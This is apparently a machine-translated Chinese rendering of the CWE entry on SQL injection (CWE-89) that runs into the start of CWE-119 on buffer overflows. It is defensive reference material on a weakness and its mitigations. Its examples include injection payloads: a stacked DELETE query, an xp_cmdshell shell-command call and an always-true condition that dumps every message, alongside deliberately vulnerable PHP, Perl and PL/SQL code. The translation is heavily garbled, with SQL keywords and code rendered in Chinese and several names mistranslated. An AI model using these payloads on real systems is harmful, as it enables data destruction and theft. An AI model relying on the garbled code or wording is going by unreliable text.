许多数据库服务器,包括Microsoft SQL Server 2000 (R),允许多个执行SQL语句用分号分隔。虽然这种攻击字符串结果在Oracle和其他数据库服务器上的一个错误,不允许批次执行的语句用分号分隔,在数据库,允许批量执行,这种类型的攻击使攻击者可以对数据库执行任意命令。

注意到拖着双连字符(——),它指定大多数数据库服务器,其余的语句是被视为一个评论,不执行。在这种情况下,评论人物用来删除修改查询剩下的单引号。数据库上的评论是不允许以这种方式使用,一般的攻击仍然可以做出有效的使用技巧类似于前面的示例所示。

如果攻击者进入字符串

(攻击代码)
的名称;从项目删除;SELECT * FROM a =一个物品

然后将创建下列三个有效语句:

(攻击代码)
SELECT *从项目业主=“威利”和itemname =“名称”;
从项目删除;
SELECT *从物品' a ' = ' a ';

防止SQL注入攻击的一种传统方法是处理它们作为输入验证问题,要么只接受字符从一个allowlist安全值或识别和逃避denylist潜在的恶意的价值观。Allowlists可以非常有效的执行严格的输入确认规则,但参数化SQL语句只需要较少的维护,可以提供更多的保证安全。几乎总是如此,denylisting充斥着漏洞,使其无效防止SQL注入攻击。例如,攻击者可以:

  • 目标字段不引用
  • 想办法绕过某些逃元字符的必要性
  • 使用存储过程隐藏注入的元字符。

手动转义字符输入SQL查询可以帮助,但它不会使您的应用程序安全从SQL注入攻击。

另一个常见解决方案提出了处理SQL注入攻击是使用存储过程。虽然存储过程防止某些类型的SQL注入攻击,他们不防止许多其他人。例如,下面的PL / SQL过程容易受到相同的SQL注入攻击第一个示例所示。

(坏的代码)
过程get_item (itm_cv ItmCurTyp, usr varchar2、varchar2 itm)
itm_cv开放
“SELECT *从项目”| |“所有者= ' | | usr | |和itemname = | | itm | | ';
get_item结束;

存储过程通常有助于防止SQL注入攻击通过限制类型的语句,可以传递给它们的参数。然而,有很多方法的局限性和许多有趣的语句仍然可以传递给存储过程。存储过程可以防止一些攻击,但他们不会使您的应用程序安全对SQL注入攻击。

示例4

已建成一个MS SQL函数,使shell命令执行。一个SQL注入在这样一个背景下可能是灾难性的。例如,表单的查询:

(坏的代码)
选择项,价格从产品ITEM_CATEGORY = user_input美元的订单价格

在美元user_input取自一个不可信的来源。

如果用户提供的字符串:

(攻击代码)
”;执行主. .xp_cmdshell 'dir' --

查询将采取以下形式:

(攻击代码)
选择项目,从产品价格ITEM_CATEGORY = ";执行主. .xp_cmdshell 'dir' --' ORDER BY PRICE

现在,这个查询的方法可以分为:

  1. 第一个SQL查询:选择项目,从产品价格ITEM_CATEGORY = ";
  2. 第二个SQL查询,执行dir命令shell:执行主. .xp_cmdshell“dir”
  3. 一个MS SQL注释:——的订单价格

可以看到,恶意输入查询的语义变化到一个查询中,shell命令执行和评论。

示例5

这段代码将打印一个消息摘要消息ID。

(坏的代码)
例如语言:PHP
id = _COOKIE美元(“中期”);
mysql_query(“选择消息id,主题从消息消息id = $ id”);

程序员可能会跳过任何输入验证id美元假设攻击者不能修改饼干。然而,这是很容易与自定义客户机代码,甚至在web浏览器中。

虽然$ id是包裹在单引号中调用mysql_query(),攻击者可以简单地改变中期传入的饼干:

(攻击代码)
1432年'或' 1 ' = ' 1

这将产生结果查询:

(结果)
选择消息id,主题从消息消息id = ' 1432 '或' 1 ' = ' 1 '

这不仅可以检索消息编号为1432,它将检索所有其他消息。

在这种情况下,程序员可以将一个简单的修改应用到消除SQL注入的代码:

(好的代码)
例如语言:PHP
(id = intval中美元_COOKIE["中期"]);
mysql_query(“选择消息id,主题从消息消息id = $ id”);

然而,如果这段代码的目的是支持多个用户提供不同的消息框,代码可能还需要一个访问控制检查(cwe - 285),以确保应用程序允许用户看到这一信息。

例子6

这个例子试图采取一个姓由用户提供输入到数据库中。

(坏的代码)
例如语言:Perl
美元userKey = getUserID同名();
$ name = getUserInput ();

#确保只有字母,连字符和撇号是允许的
(name = allowList美元的名字,“^ a-zA-z’——美元”);
查询美元= "插入last_name值(“userKey的同名美元,美元的名字)”;

而程序员一个allowlist适用于用户输入,它的缺点。首先,用户仍可以提供连字符,用作评论结构的SQL。如果用户指定了”——“然后剩下的语句将被视为一个评论,这可能绕过安全逻辑。此外,allowlist允许撇号,也在SQL数据/命令分隔符。如果一个用户提供一个名称和一个撇号,他们也许能够改变整个语句的结构,甚至改变程序的控制流,可能访问机密信息或修改。在这种情况下,字符和撇号为姓,允许他们是合法的字符是必需的。相反,程序员可能想要使用一份事先准备好的声明中或日常编码应用于输入,以防止任何数据/指令误解。

+观察到的例子
参考 描述
SQL注入和计费软件,每中钢协KEV利用在野外。
SQL注入的文件传输系统通过一个精心设计的主机头,每中钢协KEV利用在野外。
SQL注入的防火墙产品的管理界面或用户门户,每中钢协KEV利用在野外。
一个自动化系统用包含一个容易受到SQL注入的API允许攻击者读取特权数据。
链:SQL注入在图书馆面向数据库的身份验证允许SQL注入和认证绕过。
SQL注入通过ID应该是数字。
SQL注入通过ID应该是数字。
SQL注入通过用户名。
SQL注入是通过用户名和密码字段。
SQL注入的安全产品,使用的组名。
SQL注入在验证库。
SQL注入漏洞管理和报告工具,使用的密码。
+潜在的缓解措施

阶段:体系结构和设计

策略:库或框架

使用审查库或框架不允许这个弱点发生或提供了结构,使这个弱点更容易避免的。

例如,考虑使用持久性层如Hibernate或Enterprise Java bean,它可以提供重要的防止SQL注入如果使用得当。

阶段:体系结构和设计

策略:参数化

如果可用,使用结构化机制自动执行数据和代码之间的分离。这些机制可以提供相关的引用,编码,自动验证,而不是依赖于开发人员提供此功能在每一个点生成输出。

过程使用预处理语句的SQL查询,参数化查询或存储过程。这些特性应该接受和支持强类型参数或变量。不能动态地构建和执行查询字符串中这些特性使用“执行”或类似的功能,因为这可能会再次引入SQL注入的可能性。(ref - 867]

阶段:体系结构和设计;操作

策略:环境硬化

使用所需的最低特权运行您的代码来完成必要的任务(ref - 76]。如果可能的话,创建独立帐户权限有限,只用于一个任务。这样,一个成功的攻击不会立即给攻击者访问其他软件或其环境。例如,数据库应用程序很少需要作为数据库管理员运行,特别是在日常操作。

具体来说,遵循最小特权原则在创建SQL数据库用户帐户。数据库用户应该只有必要的最低特权使用他们的帐户。如果系统的需求表明,用户可以阅读和修改自己的数据,然后限制他们的特权,所以他们不能读/写别人的数据。尽可能使用最严格的权限对所有数据库对象,例如execute-only存储过程。

阶段:体系结构和设计

对于任何一个在客户端执行安全检查,确保这些检查复制在服务器端,为了避免cwe - 602。攻击者可以绕过客户端检查通过修改值后,检查执行,或通过改变客户端完全删除客户端检查。然后,这些修改的值将被提交到服务器。

实施阶段:

策略:输出编码

虽然风险使用动态生成的查询字符串,代码,或命令,控制和数据混合在一起,有时它可能是不可避免的。正确引用参数和任何特殊字符转义在这些参数。最保守的方法是逃跑或者过滤不经过极其严格的allowlist的所有字符(如一切不是字母数字或空白)。如果仍然需要一些特殊字符,如空格,每个参数封装在引号转义后/过滤步骤。小心论证注入(cwe - 88)。

而不是建立一个新的实现,这些特性可用的数据库或编程语言。例如,Oracle DBMS_ASSERT包可以检查或强制参数有一定的属性,使他们更容易受到SQL注入。对于MySQL, mysql_real_escape_string () API函数可用于C和PHP。

实施阶段:

策略:输入验证

假设所有的输入是恶意的。使用一个“接受良好的“输入验证策略,即。,use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

当执行输入验证,考虑所有可能相关的属性,包括长度,类型的输入,可接受的值的全系列,缺失或额外的输入,语法,一致性相关领域,符合业务规则。作为业务规则逻辑的一个例子,在语法上“船”可能是有效的,因为它只包含字母数字字符,但它不是有效的如果输入预计仅包含颜色,如“红”或“蓝色”。

不完全依赖寻找恶意或畸形的输入。这很可能错过至少有一个不受欢迎的输入,特别是如果代码的环境变化。这可以让攻击者有足够的空间绕过验证。然而,denylists可以用于检测潜在攻击或确定哪些输入是畸形的,应该直接驳回。

当构造SQL查询字符串,使用限制严格的allowlists字符集基于请求中的参数的期望值。这将间接限制的范围攻击,但这种技术没有适当的重要输出编码和逃避。

注意,适当的输出编码、逃避和引用防止SQL注入的是最有效的解决方案,尽管输入验证可能提供一些深度防护。这是因为它有效地限制了将出现在输出。输入验证不会总是阻止SQL注入,尤其是如果您需要支持自由格式的文本字段可以包含任意字符。例如,”O ' reilly”这个名字可能会通过验证步骤,因为它是一种常见的英语姓氏。但是,它不能直接插入到数据库,因为它包含了““撇号的角色,这将需要转义或以其他方式处理。在这种情况下,剥离撇号可能减少SQL注入的风险,但是它会产生不正确的行为,因为错误的名字将被记录下来。

在可行的情况下,它可能是最安全的完全禁止元字符,而不是逃避它们。这将提供一些深度防御。数据进入数据库后,后来过程可能忽视逃避元字符前使用,,你可能没有控制这些流程。

阶段:体系结构和设计

战略:执行的转换

组接受对象时,如文件名或url,是有限的或已知,从一组固定的输入值创建一个映射(比如数字id)实际的文件名或url,并拒绝所有其他输入。

实施阶段:

确保错误消息只包含最小的细节,目标受众是有用的,没有其他人。消息需要罢工之间的平衡过于神秘的(可以迷惑用户)或过于详细的(可能揭示超过预期)。不应该透露的消息的方法被用来确定错误。攻击者可以使用详细信息完善或优化他们最初的攻击,从而增加成功的机会。

如果必须捕捉到一些细节错误,记录在日志消息,但想想会发生什么,如果日志消息可以被攻击者。高度敏感的信息,如密码永远不应该被保存到日志文件中。

避免不一致的消息可能会意外地提示攻击者对内部状态,如是否存在一个用户帐户。

在SQL注入的情况下,错误消息显示SQL查询的结构可以帮助攻击者成功攻击裁缝字符串。

阶段:操作

防火墙策略:

使用应用程序防火墙,可以检测到攻击这个弱点。它可以是有益的情况下,代码不能固定(因为它是由第三方控制),作为一项紧急预防措施,更全面的软件保证措施被应用,或者提供深度防御。

有效性:温和

注意:应用程序防火墙不可能覆盖所有可能的输入向量。此外,攻击技术可能可以绕过保护机制,比如使用畸形的输入,仍然可以由组件接收处理这些输入。根据功能的不同,应用程序防火墙可能会无意中拒绝或修改合法请求。最后,一些手动工作可能需要定制。

阶段:操作;实现

策略:环境硬化

使用PHP时,配置应用程序,以便它不使用register_globals。在实现,开发应用程序,以便它不依赖于这个特性,但是小心实现register_globals的模拟等弱点cwe - 95,cwe - 621和类似的问题。
+检测方法

自动静态分析

这个弱点常常可以发现使用自动静态分析工具。许多现代工具使用数据流分析或基于技术来减少假阳性的数量。

自动静态分析可能无法识别在执行适当的输入验证时,导致假阳性——即。警告,没有任何安全后果或不需要任何代码更改。

自动静态分析可能无法检测的使用自定义的API函数或第三方库间接调用SQL命令,导致假阴性——特别是如果API /库代码不可用进行分析。

注意:这不是一个完美的解决方案,因为100%的准确率和覆盖率不可行。

自动动态分析

这个弱点能被探测到的使用动态交互的工具和技术的软件使用大型测试套件和许多不同的输入,如模糊测试(起毛)健壮性测试和故障注入。软件的操作可能慢下来,但它不应该成为不稳定,崩溃,或者产生不正确的结果。

有效性:温和

手动分析

手动分析寻找这个弱点可能是有用的,但它可能不会在有限时间内达到所需的代码覆盖约束。这是困难的缺点,必须考虑所有输入,因为攻击表面太大。

自动静态分析——二进制或字节码

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • 字节码的弱点分析,包括反汇编程序+源代码弱点分析
  • 二进制弱点分析,包括反汇编程序+源代码弱点分析

有效性:高

动态分析与自动化的结果解释

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • 数据库扫描仪
成本有效的部分报道:
  • Web应用程序扫描
  • Web服务的扫描仪

有效性:高

动态分析与人工解释结果

根据飙升,以下检测技术可能是有用的:

成本有效的部分报道:
  • 模糊测试
  • 基于框架Fuzzer

有效性:飙升部分

人工静态分析源代码

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • 手工源代码审查(不检查)
成本有效的部分报道:
  • 关注人工抽查,手动分析来源

有效性:高

自动静态分析源代码

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • 源代码缺陷分析仪
  • Context-configured源代码分析器

有效性:高

体系结构或设计审查

根据飙升,以下检测技术可能是有用的:

高成本效益:
  • 正式的方法/ Correct-By-Construction
成本有效的部分报道:
  • 检验(IEEE 1028标准)(适用于需求、设计、源代码,等等)。

有效性:高

+会员资格
部分帮助这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
自然 类型 ID 的名字
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 635年 最初使用的弱点NVD从2008年到2016年
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 713年 OWASP十大2007类别A2 -注塑缺陷
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 722年 OWASP十大2004类别A1 -用户输入
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 727年 OWASP十大2004类别A6 -注塑缺陷
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 751年 2009年前25 -安全组件之间的交互
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 801年 2010年前25 -安全组件之间的交互
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 810年 OWASP十大2010类别A1 -注射
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 864年 2011年前25 -安全组件之间的交互
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 884年 CWE横截面
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 929年 OWASP十大2013类别A1 -注射
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 990年 SFP二级集群:污染输入命令
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1005年 7 pk -输入验证和代表性
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1027年 OWASP十大2017类别A1 -注射
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1131年 方案》(2016)——安全质量措施
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1200年 弱点在2019 CWE最危险的软件错误
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1308年 方案及质量措施,安全
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1337年 2021 CWE最危险软件的弱点的弱点
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1340年 方案及数据保护措施
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1347年 OWASP十大2021类别A03:2021 -注射
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1350年 2020 CWE最危险软件的弱点的弱点
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1387年 2022 CWE最危险软件的弱点的弱点
+笔记

的关系

SQL注入可以从特殊字符的管理不善,女仆或denylist / allowlist问题。它可以基本身份验证错误。
+分类法映射
映射分类名称 节点ID 适合 映射节点名
千鸟 SQL注入
7有害的王国 SQL注入
SQL注入
OWASP十大2007 A2 CWE更具体 注塑缺陷
OWASP十大2004 A1 CWE更具体 用户输入
OWASP十大2004 A6 CWE更具体 注塑缺陷
WASC 19 SQL注入
软件故障模式 SFP24 污染输入命令
OMG ASCSM ASCSM -cwe - 89
SEI CERT甲骨文Java编码标准 IDS00-J 确切的 防止SQL注入
+引用
迈克尔•霍华德(REF-44)大卫·勒布朗和Viega约翰。软件安全的“24宗罪”。“罪1:SQL注入。”Page 3. McGraw-Hill. 2010.
[REF-7]大卫迈克尔·霍华德和勒布朗。编写安全代码。第十二章,397页“数据库输入问题”。第二版。微软出版社。2002-12-04。<https://www.microsoftpressstore.com/store/writing -安全-代码- 9780735617223>。
OWASP (ref - 867)。“SQL注入预防备忘单”。<http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet>。
[ref - 868]史蒂文fiedl的用于检查电子邮件地址。“通过示例SQL注入攻击”。2007-10-10。<http://www.unixwiz.net/techtips/sql-injection.html>。
[ref - 869] Ferruh Mavituna。“SQL注入备忘单”。2007-03-15。<http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/>。
[ref - 870]大卫•Litchfield约翰克里斯•Anley Heasman和比尔Grindlay。“数据库黑客手册:维护数据库服务器”。威利。2005-07-14。
大卫Litchfield [ref - 871]。“甲骨文黑客手册:黑客和捍卫甲骨文”。威利。2007-01-30。
微软(ref - 872)。“SQL注入”。2008 - 12所示。<http://msdn.microsoft.com/en-us/library/ms161953.aspx>。
(ref - 873)微软安全漏洞研究和国防。“SQL注入攻击”。<http://blogs.technet.com/swi/archive/2008/05/29/sql-injection-attack.aspx>。
(ref - 874)迈克尔·霍华德。“给SQL注入应有的尊重”。2008-05-15。<http://blogs.msdn.com/sdl/archive/2008/05/15/giving-sql-injection-the-respect-it-deserves.aspx>。
(ref - 875)弗兰克·金。“前25系列-等级2 - SQL注入”。无软件安全研究所。2010-03-01。<http://blogs.sans.org/appsecstreetfighter/2010/03/01/top-25-series-rank-2-sql-injection/>。
(ref - 76)肖恩·巴纳姆和迈克尔Gegick。“最小特权”。2005-09-14。<https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege>。
(ref - 62)马克·多德约翰麦克唐纳和贾斯汀Schuh。“软件安全评估的艺术”。第八章,“SQL查询”,431页。1版。艾迪生卫斯理》2006。
(ref - 62)马克·多德约翰麦克唐纳和贾斯汀Schuh。“软件安全评估的艺术”。17章,“SQL注入”,1061页。1版。艾迪生卫斯理》2006。
(ref - 962)对象管理组织(OMG)。“自动源代码安全措施(ASCSM)”。ascsm - cwe - 89。2016 - 01。<http://www.omg.org/spec/ASCSM/1.0/>。
+内容的历史
+提交
提交日期 提交者 组织
2006-07-19 千鸟
+修改
修改日期 修饰符 组织
2008-07-01 Eric Dalci Cigital
更新Time_of_Introduction
2008-08-01 股的分析
添加/更新白盒定义
2008-08-15 Veracode
建议OWASP 2004年排名前十的映射
2008-09-08 CWE内容团队 主教法冠
更新Applicable_Platforms、Common_Consequences Modes_of_Introduction、名称、关系、Other_Notes, Relationship_Notes Taxonomy_Mappings
2008-10-14 CWE内容团队 主教法冠
更新描述
2008-11-24 CWE内容团队 主教法冠
更新Observed_Examples
2009-01-12 CWE内容团队 主教法冠
更新Demonstrative_Examples、描述Enabling_Factors_for_Exploitation Modes_of_Introduction,名字,Observed_Examples, Other_Notes Potential_Mitigations,引用关系
2009-03-10 CWE内容团队 主教法冠
更新Potential_Mitigations
2009-05-27 CWE内容团队 主教法冠
更新Demonstrative_Examples,名字,Related_Attack_Patterns
2009-07-17 股的分析
改善了White_Box_Definition
2009-07-27 CWE内容团队 主教法冠
更新描述,名称,White_Box_Definitions
2009-12-28 CWE内容团队 主教法冠
更新Potential_Mitigations
2010-02-16 CWE内容团队 主教法冠
更新Demonstrative_Examples、Detection_Factors Potential_Mitigations、引用关系,Taxonomy_Mappings
2010-04-05 CWE内容团队 主教法冠
更新Demonstrative_Examples Potential_Mitigations
2010-06-21 CWE内容团队 主教法冠
更新Common_Consequences Demonstrative_Examples,描述、Detection_Factors名字,Potential_Mitigations引用关系
2010-09-27 CWE内容团队 主教法冠
更新Potential_Mitigations
2011-03-29 CWE内容团队 主教法冠
更新Demonstrative_Examples
2011-06-01 CWE内容团队 主教法冠
更新Common_Consequences
2011-06-27 CWE内容团队 主教法冠
更新的关系
2011-09-13 CWE内容团队 主教法冠
更新Potential_Mitigations,引用
2012-05-11 CWE内容团队 主教法冠
更新Potential_Mitigations、引用Related_Attack_Patterns、人际关系
2012-10-30 CWE内容团队 主教法冠
更新Potential_Mitigations
2013-07-17 CWE内容团队 主教法冠
更新的关系
2014-06-23 CWE内容团队 主教法冠
更新的关系
2014-07-30 CWE内容团队 主教法冠
更新Detection_Factors、关系、Taxonomy_Mappings
2015-12-07 CWE内容团队 主教法冠
更新的关系
2017-05-03 CWE内容团队 主教法冠
更新的关系
2017-11-08 CWE内容团队 主教法冠
更新Applicable_Platforms、Demonstrative_Examples Enabling_Factors_for_Exploitation、Likelihood_of_Exploit Modes_of_Introduction, Observed_Examples,引用关系,White_Box_Definitions
2018-03-27 CWE内容团队 主教法冠
更新引用关系
2019-01-03 CWE内容团队 主教法冠
更新引用关系,Taxonomy_Mappings
2019-06-20 CWE内容团队 主教法冠
更新的关系
2019-09-19 CWE内容团队 主教法冠
更新的关系
2020-02-24 CWE内容团队 主教法冠
更新Potential_Mitigations、关系、Time_of_Introduction
2020-06-25 CWE内容团队 主教法冠
更新Demonstrative_Examples、Potential_Mitigations Relationship_Notes
2020-08-20 CWE内容团队 主教法冠
更新的关系
2020-12-10 CWE内容团队 主教法冠
更新Potential_Mitigations、人际关系
2021-07-20 CWE内容团队 主教法冠
更新的关系
2021-10-28 CWE内容团队 主教法冠
更新的关系
2022-06-28 CWE内容团队 主教法冠
更新Observed_Examples、人际关系
2022-10-13 CWE内容团队 主教法冠
更新Observed_Examples,引用
2023-01-31 CWE内容团队 主教法冠
更新Demonstrative_Examples、描述
+以前的条目名称
改变日期 以前的条目名称
2008-04-11 SQL注入
2008-09-09 数据未能清洁到SQL查询(又名“SQL注入”)
2009-01-12 未能清理数据的SQL查询(又名“SQL注入”)
2009-05-27 未能保存SQL查询结构(又名“SQL注入”)
2009-07-27 未能保存SQL查询结构(SQL注入)
2010-06-21 卫生处理不当的特殊元素中使用一个SQL命令(SQL注入)

cwe - 119:不当的操作限制的范围内一个内存缓冲区

弱点ID: 119
抽象:
结构:简单的
视图定制的信息:
+描述
产品执行操作内存缓冲区,但它可以从磁盘读取或写入的内存位置之外的目标缓冲区的边界。
+扩展描述

某些语言允许直接寻址的内存位置,不会自动确保这些位置是有效的被引用的内存缓冲区。这可能会导致执行读或写操作的内存位置可能与其他相关变量,数据结构,数据或内部程序。

因此,攻击者可以执行任意代码,改变控制流,读取敏感信息,或导致系统崩溃。

+替代条款
缓冲区溢出:
这个词有许多不同的含义,不同的受众。从CWE映射的角度来看,这一项应该尽可能避免。一些研究人员、开发人员和工具刻意为之的意思是“写过去的缓冲区,而其他人使用相同的词的意思是“任何读或写一个缓冲区的边界外,是否在缓冲区的开始或结束后缓冲。”年代till others using the same term could mean "any action after the end of a buffer, whether it is a read or write." Since the term is commonly used for exploitation and for vulnerabilities, it further confuses things.
缓冲区溢出:
一些知名厂商和研究人员使用术语“缓冲区溢出”,但大多数人使用“缓冲区溢出”。年代ee the alternate term for "buffer overflow" for context.
内存安全:
通常用于内存访问相关技术,避免缺点,如确定的cwe - 119和它的后代。然而,这个词不是正式的,有可能是从业者之间的分歧,缺点是隐式地由“记忆安全”项。
+的关系
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关的视图”研究概念”(cwe - 1000)
自然 类型 ID 的名字
ChildOf 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 118年 不正确的访问可转位的资源(“距离误差”)
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 120年 缓冲区复制没有检查输入的大小(经典的缓冲区溢出)
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 125年 禁止入内的读
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 466年 返回指针值的预期范围之外
ParentOf 链链——一个复合元素是一个序列的两个或两个以上的独立的缺点,可以在软件中紧密联系在一起。一个弱点,X,可以直接创建所必需的条件导致另一个弱点,Y,进入一个脆弱的状态。,当这一切发生的时候,CWE指X作为“主”Y, Y是“合成”X连锁可能涉及两个以上缺点,在某些情况下,他们可能有一个树状结构。 680年 整数溢出缓冲区溢出
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 786年 之前访问的内存位置缓冲区的开始
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 787年 禁止入内的写
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 788年 访问结束后的内存位置缓冲区
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 805年 缓冲区长度值不正确的访问
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 822年 不可信的指针
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 823年 超出范围的使用指针偏移量
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 824年 访问未初始化的指针
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 825年 过期的指针
光束 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 20. 不正确的输入验证
光束 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 128年 环绕式处理错误
光束 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 129年 不当的验证数组索引
光束 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 131年 不正确的缓冲区大小的计算
光束 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 190年 整数溢出或概括的
光束 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 193年 错误
光束 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 195年 签署无符号转换错误
光束 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 839年 没有最低检查数字范围比较
光束 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 843年 访问资源的使用不兼容的类型(类型混淆)
光束 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 1257年 不适当的访问控制应用到镜像或别名内存区域
光束 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 1260年 处理不当的重叠范围受保护的内存
光束 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 1339年 精度不足或精度实数
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+简化映射的相关视图”缺点漏洞发布”(cwe - 1003)
自然 类型 ID 的名字
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 120年 缓冲区复制没有检查输入的大小(经典的缓冲区溢出)
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 125年 禁止入内的读
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 787年 禁止入内的写
ParentOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 824年 访问未初始化的指针
